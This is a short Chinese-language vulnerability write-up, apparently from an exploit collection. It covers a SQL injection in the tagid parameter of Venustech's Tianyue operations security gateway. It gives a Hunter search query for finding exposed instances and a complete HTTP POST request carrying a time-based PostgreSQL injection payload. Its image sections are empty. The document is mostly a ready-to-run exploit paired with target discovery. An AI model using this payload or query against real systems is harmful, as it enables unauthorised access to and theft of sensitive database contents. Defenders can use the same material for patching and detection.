Q4-1启明星辰-天玥运维安全网关-SQL

漏洞描述：

天玥网络安全审计系统是针对业务环境下用户对网络内的核心IT资产和服务器进行的操作行为为进行细粒度审计的合规性管理系统。 启明星辰天玥网络安全审计系统tagid参数存在SQL注入漏洞，攻击者可利用该漏洞获取数据库敏感信息

网站图片:

网络测绘:

Hunter 语法:

- hunterapp.name="启明星辰天玥运维安全网关"

漏洞复现:

payload：

```
POST /ops/index.php?c=Reportguide&a=checkrn HTTP/1.1
Host: xx.xx.xx.xx
Connection: close
Cache-Control: max-age=0
sec-ch-ua: "Chromium";v="88", "Google Chrome";v="88", ";Not A Brand";v="99"
sec-ch-ua-mobile: ?0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.96 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Language: zh-CN,zh;q=0.9
Content-Type: application/x-www-form-urlencoded
Content-Length: 39


checkname=123&tagid=123 AND 5327=(SELECT 5327 FROM PG_SLEEP(5))-- OkPa
```

效果图: